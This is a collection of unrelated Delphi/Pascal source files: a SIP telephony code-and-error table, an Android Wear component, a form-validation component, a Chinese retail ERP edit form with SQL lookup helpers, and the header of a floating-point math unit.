AddObject(SIPTEXT_BUSY_HERE,Pointer(SIPCODE_BUSY_HERE));
AddObject(SIPTEXT_REQUEST_TERMINATED,Pointer(SIPCODE_REQUEST_TERMINATED));
AddObject(SIPTEXT_NOT_ACCEPTABLE_HERE,Pointer(SIPCODE_NOT_ACCEPTABLE_HERE));
AddObject(SIPTEXT_REQUEST_PENDING,Pointer(SIPCODE_REQUEST_PENDING));
AddObject(SIPTEXT_UNDECIPHERABLE,Pointer(SIPCODE_UNDECIPHERABLE));
AddObject(SIPTEXT_SERVER_INTERNAL_ERROR,Pointer(SIPCODE_SERVER_INTERNAL_ERROR));
AddObject(SIPTEXT_NOT_IMPLEMENTED,Pointer(SIPCODE_NOT_IMPLEMENTED));
AddObject(SIPTEXT_BAD_GATEWAY,Pointer(SIPCODE_BAD_GATEWAY));
AddObject(SIPTEXT_SERVICE_UNAVAILABLE,Pointer(SIPCODE_SERVICE_UNAVAILABLE));
AddObject(SIPTEXT_SERVER_TIME_OUT,Pointer(SIPCODE_SERVER_TIME_OUT));
AddObject(SIPTEXT_VERSION_NOT_SUPPORTED,Pointer(SIPCODE_VERSION_NOT_SUPPORTED));
AddObject(SIPTEXT_MESSAGE_TOO_LARGE,Pointer(SIPCODE_MESSAGE_TOO_LARGE));
AddObject(SIPTEXT_BUSY_EVERYWHERE,Pointer(SIPCODE_BUSY_EVERYWHERE));
AddObject(SIPTEXT_DECLINE,Pointer(SIPCODE_DECLINE));
AddObject(SIPTEXT_DOES_NOT_EXIST_ANYWHERE,Pointer(SIPCODE_DOES_NOT_EXIST_ANYWHERE));
AddObject(SIPTEXT_NOT_ACCEPTABLE_2,Pointer(SIPCODE_NOT_ACCEPTABLE_2));
end;
function TSIPTexts.GetMessage(ID: integer): string;
var
ThisIndex:integer;
begin
ThisIndex:=IndexofObject(Pointer(ID));
if ThisIndex>=0 then
result:=strings[ThisIndex]
else
result:=Format(SIPTEXT_UNKNOWN, [ID]);
end;
{ TSIPCodecs }
function TSIPCodecs.GetID(const Name: string): integer;
var
index:integer;
begin
index:=IndexOf(Name);
if index>=0 then
result:=integer(Objects[index])
else
result:=-1;
end;
function TSIPCodecs.GetName(ID: integer): string;
var
ThisIndex:integer;
begin
ThisIndex:=IndexofObject(Pointer(ID));
if ThisIndex>=0 then
result:=strings[ThisIndex]
else
result:=Format(SIPCODEC_UNKNOWN,[ID]);
end;
{ TSIPACodecs }
constructor TSIPACodecs.create;
begin
inherited;
AddObject(SIPAUDIO_PCMA,Pointer(AUDIOCODEC_PCMA));
AddObject(SIPAUDIO_PCMU,Pointer(AUDIOCODEC_PCMU));
AddObject(SIPAUDIO_G729,Pointer(AUDIOCODEC_G729));
AddObject(SIPAUDIO_G723,Pointer(AUDIOCODEC_G723));
AddObject(SIPAUDIO_ILBC,Pointer(AUDIOCODEC_ILBC));
AddObject(SIPAUDIO_GSM,Pointer(AUDIOCODEC_GSM));
AddObject(SIPAUDIO_DTMF,Pointer(AUDIOCODEC_DTMF));
AddObject(SIPAUDIO_G722,Pointer(AUDIOCODEC_G722));
AddObject(SIPAUDIO_AMR,Pointer(AUDIOCODEC_AMR));
AddObject(SIPAUDIO_AMRWB,Pointer(AUDIOCODEC_AMRWB));
AddObject(SIPAUDIO_G7221,Pointer(AUDIOCODEC_G7221));
AddObject(SIPAUDIO_SPEEX,Pointer(AUDIOCODEC_SPEEX));
AddObject(SIPAUDIO_SPEEXWB,Pointer(AUDIOCODEC_SPEEXWB));
AddObject(SIPAUDIO_ISACWB,Pointer(AUDIOCODEC_ISACWB));
AddObject(SIPAUDIO_ISACSWB,Pointer(AUDIOCODEC_ISACSWB));
end;
{ TSIPVCodecs }
constructor TSIPVCodecs.create;
begin
inherited;
AddObject(SIPVIDEO_I420,Pointer(VIDEOCODEC_I420));
AddObject(SIPVIDEO_H263,Pointer(VIDEOCODEC_H263));
AddObject(SIPVIDEO_H263_1998,Pointer(VIDEOCODEC_H263_1998));
AddObject(SIPVIDEO_H264,Pointer(VIDEOCODEC_H264));
AddObject(SIPVIDEO_VP8,Pointer(VIDEOCODEC_VP8));
end;
{ TErrTexts }
constructor TErrTexts.create;
begin
inherited;
AddObject(ERRTXT_ECoreAlreadyInitialized,Pointer(ECoreAlreadyInitialized));
AddObject(ERRTXT_ECoreNotInitialized,Pointer(ECoreNotInitialized));
AddObject(ERRTXT_ECoreSDKObjectNull,Pointer(ECoreSDKObjectNull));
AddObject(ERRTXT_ECoreArgumentNull,Pointer(ECoreArgumentNull));
AddObject(ERRTXT_ECoreInitializeWinsockFailure,Pointer(ECoreInitializeWinsockFailure));
AddObject(ERRTXT_ECoreUserNameAuthNameEmpty,Pointer(ECoreUserNameAuthNameEmpty));
AddObject(ERRTXT_ECoreInitiazeStackFailure,Pointer(ECoreInitiazeStackFailure));
AddObject(ERRTXT_ECorePortOutOfRange,Pointer(ECorePortOutOfRange));
AddObject(ERRTXT_ECoreAddTcpTransportFailure,Pointer(ECoreAddTcpTransportFailure));
AddObject(ERRTXT_ECoreAddTlsTransportFailure,Pointer(ECoreAddTlsTransportFailure));
AddObject(ERRTXT_ECoreAddUdpTransportFailure,Pointer(ECoreAddUdpTransportFailure));
AddObject(ERRTXT_ECoreMiniAudioPortOutOfRange,Pointer(ECoreMiniAudioPortOutOfRange));
AddObject(ERRTXT_ECoreMaxAudioPortOutOfRange,Pointer(ECoreMaxAudioPortOutOfRange));
AddObject(ERRTXT_ECoreMiniVideoPortOutOfRange,Pointer(ECoreMiniVideoPortOutOfRange));
AddObject(ERRTXT_ECoreMaxVideoPortOutOfRange,Pointer(ECoreMaxVideoPortOutOfRange));
AddObject(ERRTXT_ECoreMiniAudioPortNotEvenNumber,Pointer(ECoreMiniAudioPortNotEvenNumber));
AddObject(ERRTXT_ECoreMaxAudioPortNotEvenNumber,Pointer(ECoreMaxAudioPortNotEvenNumber));
AddObject(ERRTXT_ECoreMiniVideoPortNotEvenNumber,Pointer(ECoreMiniVideoPortNotEvenNumber));
AddObject(ERRTXT_ECoreMaxVideoPortNotEvenNumber,Pointer(ECoreMaxVideoPortNotEvenNumber));
AddObject(ERRTXT_ECoreAudioVideoPortOverlapped,Pointer(ECoreAudioVideoPortOverlapped));
AddObject(ERRTXT_ECoreAudioVideoPortRangeTooSmall,Pointer(ECoreAudioVideoPortRangeTooSmall));
AddObject(ERRTXT_ECoreAlreadyRegistered,Pointer(ECoreAlreadyRegistered));
AddObject(ERRTXT_ECoreSIPServerEmpty,Pointer(ECoreSIPServerEmpty));
AddObject(ERRTXT_ECoreExpiresValueTooSmall,Pointer(ECoreExpiresValueTooSmall));
AddObject(ERRTXT_ECoreCallIdNotFound,Pointer(ECoreCallIdNotFound));
AddObject(ERRTXT_ECoreNotRegistered,Pointer(ECoreNotRegistered));
AddObject(ERRTXT_ECoreCalleeEmpty,Pointer(ECoreCalleeEmpty));
AddObject(ERRTXT_ECoreInvalidUri,Pointer(ECoreInvalidUri));
AddObject(ERRTXT_ECoreAudioVideoCodecEmpty,Pointer(ECoreAudioVideoCodecEmpty));
AddObject(ERRTXT_ECoreNoFreeDialogSession,Pointer(ECoreNoFreeDialogSession));
AddObject(ERRTXT_ECoreCreateAudioChannelFailed,Pointer(ECoreCreateAudioChannelFailed));
AddObject(ERRTXT_ECoreSessionTimerValueTooSmall,Pointer(ECoreSessionTimerValueTooSmall));
AddObject(ERRTXT_ECoreAudioHandleNull,Pointer(ECoreAudioHandleNull));
AddObject(ERRTXT_ECoreVideoHandleNull,Pointer(ECoreVideoHandleNull));
AddObject(ERRTXT_ECoreCallIsClosed,Pointer(ECoreCallIsClosed));
AddObject(ERRTXT_ECoreCallAlreadyHold,Pointer(ECoreCallAlreadyHold));
AddObject(ERRTXT_ECoreCallNotEstablished,Pointer(ECoreCallNotEstablished));
AddObject(ERRTXT_ECoreCallNotHold,Pointer(ECoreCallNotHold));
AddObject(ERRTXT_ECoreSipMessaegEmpty,Pointer(ECoreSipMessaegEmpty));
AddObject(ERRTXT_ECoreSipHeaderNotExist,Pointer(ECoreSipHeaderNotExist));
AddObject(ERRTXT_ECoreSipHeaderValueEmpty,Pointer(ECoreSipHeaderValueEmpty));
AddObject(ERRTXT_ECoreSipHeaderBadFormed,Pointer(ECoreSipHeaderBadFormed));
AddObject(ERRTXT_ECoreBufferTooSmall,Pointer(ECoreBufferTooSmall));
AddObject(ERRTXT_ECoreSipHeaderValueListEmpty,Pointer(ECoreSipHeaderValueListEmpty));
AddObject(ERRTXT_ECoreSipHeaderParserEmpty,Pointer(ECoreSipHeaderParserEmpty));
AddObject(ERRTXT_ECoreSipHeaderValueListNull,Pointer(ECoreSipHeaderValueListNull));
AddObject(ERRTXT_ECoreSipHeaderNameEmpty,Pointer(ECoreSipHeaderNameEmpty));
AddObject(ERRTXT_ECoreAudioSampleNotmultiple,Pointer(ECoreAudioSampleNotmultiple));
AddObject(ERRTXT_ECoreAudioSampleOutOfRange,Pointer(ECoreAudioSampleOutOfRange));
AddObject(ERRTXT_ECoreInviteSessionNotFound,Pointer(ECoreInviteSessionNotFound));
AddObject(ERRTXT_ECoreStackException,Pointer(ECoreStackException));
AddObject(ERRTXT_ECoreMimeTypeUnknown,Pointer(ECoreMimeTypeUnknown));
AddObject(ERRTXT_ECoreDataSizeTooLarge,Pointer(ECoreDataSizeTooLarge));
AddObject(ERRTXT_ECoreSessionNumsOutOfRange,Pointer(ECoreSessionNumsOutOfRange));
AddObject(ERRTXT_ECoreNotSupportCallbackMode,Pointer(ECoreNotSupportCallbackMode));
AddObject(ERRTXT_ECoreNotFoundSubscribeId,Pointer(ECoreNotFoundSubscribeId));
AddObject(ERRTXT_ECoreCodecNotSupport,Pointer(ECoreCodecNotSupport));
AddObject(ERRTXT_ECoreCodecParameterNotSupport,Pointer(ECoreCodecParameterNotSupport));
AddObject(ERRTXT_EAudioFileNameEmpty,Pointer(EAudioFileNameEmpty));
AddObject(ERRTXT_EAudioChannelNotFound,Pointer(EAudioChannelNotFound));
AddObject(ERRTXT_EAudioStartRecordFailure,Pointer(EAudioStartRecordFailure));
AddObject(ERRTXT_EAudioRegisterRecodingFailure,Pointer(EAudioRegisterRecodingFailure));
AddObject(ERRTXT_EAudioRegisterPlaybackFailure,Pointer(EAudioRegisterPlaybackFailure));
AddObject(ERRTXT_EAudioGetStatisticsFailure,Pointer(EAudioGetStatisticsFailure));
AddObject(ERRTXT_EAudioIsPlaying,Pointer(EAudioIsPlaying));
AddObject(ERRTXT_EAudioPlayObjectNotExist,Pointer(EAudioPlayObjectNotExist));
AddObject(ERRTXT_EAudioPlaySteamNotEnabled,Pointer(EAudioPlaySteamNotEnabled));
AddObject(ERRTXT_EAudioRegisterCallbackFailure,Pointer(EAudioRegisterCallbackFailure));
AddObject(ERRTXT_EVideoFileNameEmpty,Pointer(EVideoFileNameEmpty));
AddObject(ERRTXT_EVideoGetDeviceNameFailure,Pointer(EVideoGetDeviceNameFailure));
AddObject(ERRTXT_EVideoGetDeviceIdFailure,Pointer(EVideoGetDeviceIdFailure));
AddObject(ERRTXT_EVideoStartCaptureFailure,Pointer(EVideoStartCaptureFailure));
AddObject(ERRTXT_EVideoChannelNotFound,Pointer(EVideoChannelNotFound));
AddObject(ERRTXT_EVideoStartSendFailure,Pointer(EVideoStartSendFailure));
AddObject(ERRTXT_EVideoGetStatisticsFailure,Pointer(EVideoGetStatisticsFailure));
AddObject(ERRTXT_EVideoStartPlayAviFailure,Pointer(EVideoStartPlayAviFailure));
AddObject(ERRTXT_EVideoSendAviFileFailure,Pointer(EVideoSendAviFileFailure));
AddObject(ERRTXT_EDeviceGetDeviceNameFailure,Pointer(EDeviceGetDeviceNameFailure));
end;
function TErrTexts.GetMessage(ID: integer): string;
var
ThisIndex:integer;
begin
ThisIndex:=IndexofObject(Pointer(ID));
if ThisIndex>=0 then
result:=strings[ThisIndex]
else
result:=Format(SIPCODEC_UNKNOWN,[ID]);
end;
end.
|
unit AndroidWearComponent;
interface
uses Classes;
type
TAndroidWearViews=class(TComponent)
private
function GetSupportedDevices: string;
published
property SupportedDevices: string read GetSupportedDevices;
end;
procedure Register;
implementation
uses
GearLiveDevice, Moto360Device, LGGDevice;
procedure Register;
begin
RegisterComponents('FireUI Views', [TAndroidWearViews]);
end;
{ TAndroidWearViews }
function TAndroidWearViews.GetSupportedDevices: string;
begin
Result := 'Gear Live, LG-G & Moto 360';
end;
end.
|
{*******************************************************************************
* uSimpleCheck *
* *
* Библиотека компонентов для работы с формой редактирования (qFControls) *
* Компонент для простой проверки (TqFSimpleCheck) *
* Copyright © 2005, Олег Г. Волков, Донецкий Национальный Университет *
*******************************************************************************}
unit uSimpleCheck;
interface
uses
SysUtils, Classes, Controls, uFControl, uLogicCheck;
type
TCheckEvent = procedure(Sender: TObject; var Error: string) of object;
TqFSimpleCheck = class(TqFLogicCheck)
private
FLeft: TqFControl;
FRight: TqFControl;
FErrorMessage: string;
public
procedure Notification(AComponent: TComponent; Operation: TOperation); override;
function Check: Boolean; override;
procedure Highlight(HighlightOn: Boolean); override;
procedure Paint; override;
published
property Left: TqFControl read FLeft write FLeft;
property Right: TqFControl read FRight write FRight;
property ErrorMessage: string read FErrorMessage write FErrorMessage;
end;
procedure Register;
{$R *.res}
implementation
uses qFStrings;
function TqFSimpleCheck.Check: Boolean;
begin
FError := '';
if CheckEnabled then
if Assigned(FOnCheck) then FOnCheck(Self, FError)
else
if (FLeft <> nil) and (FRight <> nil) then
if FLeft.Value > FRight.Value then
begin
if FErrorMessage <> '' then FError := FErrorMessage
else FError := qFPeriodError + qFMustBe + ' "' + FLeft.DisplayName + '" не більш за "' +
FRight.DisplayName + '"!';
if FLeft <> nil then FLeft.ShowFocus
else
if FRight <> nil then FLeft.ShowFocus
end;
Result := FError = '';
end;
procedure TqFSimpleCheck.Highlight(HighlightOn: Boolean);
begin
inherited Highlight(HighlightOn);
if FLeft <> nil then FLeft.Highlight(HighlightOn);
if FRight <> nil then FRight.Highlight(HighlightOn);
end;
procedure TqFSimpleCheck.Notification(AComponent: TComponent;
Operation: TOperation);
begin
inherited;
if (Left = AComponent) and (Operation = opRemove) then
Left := nil;
if (Right = AComponent) and (Operation = opRemove) then
Right := nil;
end;
procedure TqFSimpleCheck.Paint;
begin
inherited;
with Canvas do
begin
Rectangle(0, 0, Width, Height);
Font.Color := $FF;
TextOut(1, 3, '<=?');
end;
end;
procedure Register;
begin
RegisterComponents('qFControls', [TqFSimpleCheck]);
end;
end.
|
unit uBaseEditFrm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, DB, DBClient,
cxGridCustomView,
cxGridCustomTableView, cxGridTableView, cxGridDBTableView,
cxGrid,cxLookAndFeels,cxGridDBBandedTableView,shellapi,uI3BaseFrm;
type
TSTBaseEdit = class(TI3BaseFrm)
STBaseEditDataSet: TClientDataSet;
procedure FormCreate(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
private
procedure CreateParams(var Params: TCreateParams); override;
{ Private declarations }
public
{ Public declarations }
function DataSetEditStatus(DataSet:TDataSet):Boolean; //修改数据集状态为编辑状态
function CreateDetailColumn(dsDetail : TDataSet;cxDetail:TcxGridDBTableView;FFielCation_Tables:string):Boolean; //创建表格列
function ST_Save : Boolean; virtual; //保存单据
function FindMaterial: string; //查找商品 20111029
function FindWareHouse(StorageOrgID:string):string; //查找店铺(仓库)
function FindBranch():string;//查找分支机构
function FindPerson:string; //查找员工
function FindAllWareHouse:string;
function FindCust:string;
function FindSupplier:string ;
function CheckVipMobilePhono(VipBaseFID,FMobilephone : string):Boolean; //检查会员手机号是否已经被注册
end;
var
STBaseEdit: TSTBaseEdit;
implementation
uses cxCustomData,uSysDataSelect,FrmCliDM,Pub_Fun;
{$R *.dfm}
function TSTBaseEdit.CheckVipMobilePhono(VipBaseFID,FMobilephone : string):Boolean; //检查会员手机号是否已经被注册
var VipFID,FMobilephonno,sqlstr,ErrMsg : string;
begin
sqlstr := 'select * from T_RT_VIPBaseData where FID<>'+QuotedStr(trim(VipBaseFID))+' AND FMOBILEPHONNO='+QuotedStr(Trim(FMobilephone));
CliDM.Get_OpenSQL(STBaseEditDataSet,sqlstr,ErrMsg);
if STBaseEditDataSet.RecordCount>0 then
begin
ShowMsg(Handle,'手机号码【'+FMobilephone+'】已经被会员【'+STBaseEditDataSet.FieldByName('FName_L2').AsString+'】登记过'+#13#10
+'会员编号【'+STBaseEditDataSet.FieldByName('FNumber').AsString+'】',[]);
Abort;
end;
end;
{ TSTBaseEdit }
function TSTBaseEdit.DataSetEditStatus(DataSet: TDataSet): Boolean;
begin
if not (DataSet.State in DB.dsEditModes) then
DataSet.Edit;
end;
//输入cxGrid和数据集合,自动创建列
{
**********************************************************
CreateDetailColumn(Detail,cxDetail,'ct_bil_retailposentry');
**********************************************************
}
function TSTBaseEdit.CreateDetailColumn(dsDetail: TDataSet; cxDetail: TcxGridDBTableView;FFielCation_Tables:string): Boolean;
var i:Integer;
FieldName : string;
GridColumn : TcxGridDBColumn;
begin
//TcxGridTableView
//TcxGridDBBandedTableView
//TcxGridDBTableView
Result := True;
if not dsDetail.Active then
begin
Result := False;
Exit;
end;
//设置列
try
cxDetail.BeginUpdate;
cxDetail.ClearItems;
for i :=0 to dsDetail.FieldCount-1 do
begin
FieldName := dsDetail.Fields[i].FieldName;
GridColumn := cxDetail.CreateColumn;
with GridColumn do
begin
Caption := FieldName;
Name := FFielCation_Tables+'_'+ IntToStr(i);
DataBinding.FieldName := FieldName;
Width := 120; //列宽
Options.Sorting := True; //排序
Options.Filtering := True; //过滤
Options.Focusing := True; //鼠标停留
Options.Editing := False; //是否可以编辑
if UpperCase(FieldName)=UpperCase('FID') then Visible := False;
end;
case dsDetail.Fields[i].DataType of
ftSmallint, ftInteger, ftWord, ftFloat, ftCurrency, ftBCD, ftLargeint:
with cxDetail.DataController.Summary.FooterSummaryItems.Add do
begin
ItemLink := cxDetail.GetColumnByFieldName(FieldName);
Position := spFooter;
Kind := skSum;
end;
end;
end;
finally
cxDetail.EndUpdate;
end;
end;
//基类统一设置cxGrid样式
procedure TSTBaseEdit.FormCreate(Sender: TObject);
var i : Integer;
begin
inherited;
for i := 0 to Self.ComponentCount -1 do
begin
if Self.Components[i].InheritsFrom(TcxGridDBTableView) then //隐藏键盘删除和增加事件,保护数据
begin
TcxGridDBTableView(Self.Components[i]).OptionsView.NoDataToDisplayInfoText := ' ';
TcxGridDBTableView(Self.Components[i]).OptionsData.Appending := False;
TcxGridDBTableView(Self.Components[i]).OptionsData.CancelOnExit := False;
TcxGridDBTableView(Self.Components[i]).OptionsData.Deleting := False;
TcxGridDBTableView(Self.Components[i]).OptionsData.DeletingConfirmation := False;
//TcxGridDBTableView(Self.Components[i]).OptionsData.Editing := False;
TcxGridDBTableView(Self.Components[i]).OptionsData.Inserting := False;
//回车跳往下一个活动单元格
TcxGridDBTableView(Self.Components[i]).OptionsBehavior.FocusCellOnCycle := False;
TcxGridDBTableView(Self.Components[i]).OptionsBehavior.FocusCellOnTab := True;
TcxGridDBTableView(Self.Components[i]).OptionsBehavior.FocusFirstCellOnNewRecord := True;
TcxGridDBTableView(Self.Components[i]).OptionsBehavior.GoToNextCellOnEnter := True;
TcxGridDBTableView(Self.Components[i]).OptionsBehavior.ImmediateEditor := True;
end;
if Self.Components[i].InheritsFrom(TcxGridDBBandedTableView) then //隐藏键盘删除和增加事件,保护数据
begin
TcxGridDBBandedTableView(Self.Components[i]).OptionsView.NoDataToDisplayInfoText := ' ';
TcxGridDBBandedTableView(Self.Components[i]).OptionsData.Appending := False;
TcxGridDBBandedTableView(Self.Components[i]).OptionsData.CancelOnExit := False;
TcxGridDBBandedTableView(Self.Components[i]).OptionsData.Deleting := False;
TcxGridDBBandedTableView(Self.Components[i]).OptionsData.DeletingConfirmation := False;
//TcxGridDBTableView(Self.Components[i]).OptionsData.Editing := False;
TcxGridDBBandedTableView(Self.Components[i]).OptionsData.Inserting := False;
//回车跳往下一个活动单元格
TcxGridDBBandedTableView(Self.Components[i]).OptionsBehavior.FocusCellOnCycle := False;
TcxGridDBBandedTableView(Self.Components[i]).OptionsBehavior.FocusCellOnTab := True;
TcxGridDBBandedTableView(Self.Components[i]).OptionsBehavior.FocusFirstCellOnNewRecord := True;
TcxGridDBBandedTableView(Self.Components[i]).OptionsBehavior.GoToNextCellOnEnter := True;
TcxGridDBBandedTableView(Self.Components[i]).OptionsBehavior.ImmediateEditor := True;
end;
end;
end;
function TSTBaseEdit.ST_Save: Boolean;
begin
end;
procedure TSTBaseEdit.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
var
ActiveCtrl: TControl;
oDataSet: TDataSet;
isPass: Boolean;
toFileName : string;
begin
isPass := True;
if Key=27 then Close; //ESC
if (Shift = [ssAlt]) and (key = VK_F4) then Abort; //ALT+F4 操作系统自带关闭窗体
if (Key = VK_F1) then
begin
toFileName:=ExtractFilePath(Application.ExeName)+'help.chm';
if not FileExists(toFileName) then
begin
Exit;
end;
shellexecute(handle,'open',pchar(toFileName),nil,nil,sw_shownormal);
end;
if (Key = VK_RETURN) OR (Key = VK_Down) then
begin
ActiveCtrl := ActiveControl;
if (ActiveCtrl <> nil) then
begin
While ActiveCtrl.Parent <> nil do
begin
ActiveCtrl := ActiveCtrl.Parent;
end;
if isPass then
begin
Key := 0;
Perform(WM_NEXTDLGCTL, 0, 0);
end;
end;
end;
end;
function TSTBaseEdit.FindMaterial: string;
var
sqlstr,ReturnStr: string;
fdEnglishList, fdChineseList, fdReturnAimList: string;
begin
Result := '';
sqlstr := 'SELECT top 1000 FNUMBER,FNAME_L2 FROM T_BD_Material A(nolock) '
+' WHERE Isnull(FStatus,0)=1 and Isnull(CFType,0)=0 '
+' AND EXISTS(SELECT 1 FROM ct_ms_materialcolorpg(nolock) where FPARENTID collate Chinese_PRC_CS_AS_WS=A.FID collate Chinese_PRC_CS_AS_WS) ' //20111019 过滤没有颜色组和尺码明细的物料
+' AND EXISTS(SELECT 1 FROM t_bd_materialsales WHERE FMATERIALID collate Chinese_PRC_CS_AS_WS=A.FID collate Chinese_PRC_CS_AS_WS AND FOrgUnit='+QuotedStr(UserInfo.FSaleOrgID)+') '
+' ORDER BY FNUMBER';
fdEnglishList := 'Fnumber,Fname_l2';
fdChineseList := '商品编号,商品名称';
fdReturnAimList := 'FNUMBER';
ReturnStr := ShareSelectBoxCall(sqlstr, fdEnglishList, fdChineseList, fdReturnAimList, 200,'Mat');
Result := ReturnStr;
end;
function TSTBaseEdit.FindWareHouse(StorageOrgID: string): string;
var
sqlstr,ReturnStr,WhereStr: string;
fdEnglishList, fdChineseList, fdReturnAimList,strORgID: string;
begin
Result := '';
sqlstr := 'SELECT FID,FNUMBER,FNAME_L2 FROM T_DB_WAREHOUSE(nolock) ';
if StorageOrgID<>'' then
WhereStr :=' WHERE FWHState=1 and FSTORAGEORGID='+QuotedStr(StorageOrgID)
+' and FID collate Chinese_PRC_CS_AS_WS <>'+QuotedStr(UserInfo.Warehouse_FID)
else
WhereStr :=' WHERE FWHState=1 and FID collate Chinese_PRC_CS_AS_WS <>'+QuotedStr(UserInfo.Warehouse_FID);
sqlstr := sqlstr+Wherestr+' ORDER BY FNUMBER';
fdEnglishList := 'Fnumber,Fname_l2';
fdChineseList := '仓库编号,仓库名称';
fdReturnAimList := 'FID';
ReturnStr := ShareSelectBoxCall(sqlstr, fdEnglishList, fdChineseList, fdReturnAimList, 200);
Result := ReturnStr;
end;
function TSTBaseEdit.FindAllWareHouse:string;
var
sqlstr,ReturnStr,WhereStr: string;
fdEnglishList, fdChineseList, fdReturnAimList,strORgID: string;
begin
Result := '';
sqlstr := 'SELECT FID,FNUMBER,FNAME_L2 FROM T_DB_WAREHOUSE(nolock) ';
sqlstr := sqlstr+Wherestr+' ORDER BY FNUMBER';
fdEnglishList := 'Fnumber,Fname_l2';
fdChineseList := '仓库编号,仓库名称';
fdReturnAimList := 'FID';
ReturnStr := ShareSelectBoxCall(sqlstr, fdEnglishList, fdChineseList, fdReturnAimList, 200);
Result := ReturnStr;
end;
procedure TSTBaseEdit.CreateParams(var Params: TCreateParams);
begin
Inherited CreateParams(Params);
//Params.WndParent := GetDesktopWindow;
Params.ExStyle := Params.ExStyle or WS_Ex_AppWindow;
end;
function TSTBaseEdit.FindBranch():string;
var
sqlstr,ReturnStr,WhereStr: string;
fdEnglishList, fdChineseList, fdReturnAimList,strORgID: string;
begin
Result := '';
sqlstr := ' select FID,Fnumber,Fname_L2 from t_Org_Baseunit(nolock) where FIsCU=1 ';
sqlstr := sqlstr+Wherestr+' ORDER BY FNUMBER';
fdEnglishList := 'Fnumber,Fname_l2';
fdChineseList := '分支机构编号,分支机构名称';
fdReturnAimList := 'FID';
ReturnStr := ShareSelectBoxCall(sqlstr, fdEnglishList, fdChineseList, fdReturnAimList, 200);
Result := ReturnStr;
end;
function TSTBaseEdit.FindPerson:string;
var
sqlstr,ReturnStr,WhereStr: string;
fdEnglishList, fdChineseList, fdReturnAimList,strORgID: string;
begin
Result := '';
sqlstr := ' select FID,FNUMBER,fname_l2 from T_Bd_Person(nolock) ';
sqlstr := sqlstr+Wherestr+' ORDER BY FNUMBER';
fdEnglishList := 'Fnumber,Fname_l2';
fdChineseList := '员工编号,员工名称';
fdReturnAimList := 'FID';
ReturnStr := ShareSelectBoxCall(sqlstr, fdEnglishList, fdChineseList, fdReturnAimList, 200);
Result := ReturnStr;
end;
function TSTBaseEdit.FindCust:string;
var
sqlstr,ReturnStr,WhereStr: string;
fdEnglishList, fdChineseList, fdReturnAimList,strORgID: string;
begin
Result := '';
sqlstr := ' select FID,fnumber,fname_l2 from t_Bd_Customer(nolock) where FUsedStatus=1 ';
sqlstr := sqlstr+Wherestr+' ORDER BY FNUMBER';
fdEnglishList := 'Fnumber,Fname_l2';
fdChineseList := '客户编号,客户名称';
fdReturnAimList := 'FID';
ReturnStr := ShareSelectBoxCall(sqlstr, fdEnglishList, fdChineseList, fdReturnAimList, 200);
Result := ReturnStr;
end;
function TSTBaseEdit.FindSupplier:string ;
var
sqlstr,ReturnStr,WhereStr: string;
fdEnglishList, fdChineseList, fdReturnAimList,strORgID: string;
begin
Result := '';
sqlstr := ' select FID,fnumber,Fname_L2 from t_Bd_Supplier where FUsedStatus=1 ';
sqlstr := sqlstr+Wherestr+' ORDER BY FNUMBER';
fdEnglishList := 'Fnumber,Fname_l2';
fdChineseList := '供应商编号,供应商名称';
fdReturnAimList := 'FID';
ReturnStr := ShareSelectBoxCall(sqlstr, fdEnglishList, fdChineseList, fdReturnAimList, 200);
Result := ReturnStr;
end;
end.
|
unit AMath;
{Accurate floating point math unit}
interface
{$i std.inc}
{$ifdef BIT16}
{$N+}
{$endif}
{$ifdef NOBASM}
{$undef BASM}
{$endif}
{.$undef const}
(*************************************************************************
DESCRIPTION : Accurate floating point math unit
REQUIREMENTS : TP5-7, D1-D7/D9-D10/D12/D17-D18, FPC, VP, WDOSX
EXTERNAL DATA : ---
MEMORY USAGE : ---
DISPLAY MODE : ---
REMARK : $define use_fast_exp if the roundmode-safe exp code should
NOT be used. This assumes that the exp/exp3/5/7/10 routines
should be called with rounding to nearest, otherwise in
rare case there may be wrong results.
REFERENCES : References used in this unit, main index in amath_info.txt/references
[1] [HMF]: M. Abramowitz, I.A. Stegun. Handbook of Mathematical Functions. Dover, 1970
http://www.math.sfu.ca/~cbm/aands/
[2] Intel, IA-32 Architecture Software Developer's Manual
Volume 2A: Instruction Set Reference, A-M
[3] D. Goldberg, What Every Computer Scientist Should Know About
Floating-Point Arithmetic, 1991; extended and edited reprint via
http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.22.6768
[4] ISO/IEC 10967-2, Information technology: Language independent
arithmetic, Part 2: Elementary numerical functions
http://standards.iso.org/ittf/PubliclyAvailableStandards/c024427_ISO_IEC_10967-2_2001(E).zip
[5] FDLIBM 5.3 (Freely Distributable LIBM), developed at
Sun Microsystems, see http://www.netlib.org/fdlibm/ or
http://www.validlab.com/software/fdlibm53.tar.gz
[6] K.C. Ng, "Argument Reduction for Huge Arguments: Good to theLast Bit",
Technical report, SunPro, 1992. Available from
http://www.validlab.com/arg.pdf
[7] Cephes Mathematical Library, Version 2.8
http://www.moshier.net/#Cephes or http://www.netlib.org/cephes/
[8] T. Ogita, S.M. Rump, and S. Oishi, Accurate sum and dot product,
SIAM J. Sci. Comput., 26 (2005), pp. 1955-1988. Available as
http://www.ti3.tu-harburg.de/paper/rump/OgRuOi05.pdf
[9] N.J. Higham, Accuracy and Stability of Numerical Algorithms,
2nd ed., Philadelphia, 2002
http://www.maths.manchester.ac.uk/~higham/asna/
[25] I. Smith, Examples.xls/txt Version 3.3.4, Personal communication, 2010
[32] D.E. Knuth: The Art of computer programming; Volume 1, Fundamental
Algorithms, 3rd ed., 1997; Volume 2, Seminumerical Algorithms, 3rd
ed., 1998; http://www-cs-faculty.stanford.edu/~knuth/taocp.html
[46] S. Graillat, P. Langlois, N Louvet, Compensated Horner Scheme,
Research Report No RR2005-04, 2005, Université de Perpignan.
Available from http://www-pequan.lip6.fr/~graillat/papers/rr2005-04.pdf or
http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.81.2979
[64] T.J. Dekker, A Floating-point technique for extending the available
precision. Numerische Mathematik, 18, 224-242, 1971. Available from
http://www.digizeitschriften.de/en/dms/toc/?PPN=PPN362160546_0018
[65] S. Linnainmaa, Software for Doubled-Precision Floating-Point Computations.
ACM TOMS 7 (1981), pp. 272-283.
Version Date Author Modification
------- -------- ------- ------------------------------------------
0.10 04.10.09 W.Ehrhardt Initial BP7 BASM version for ln1p
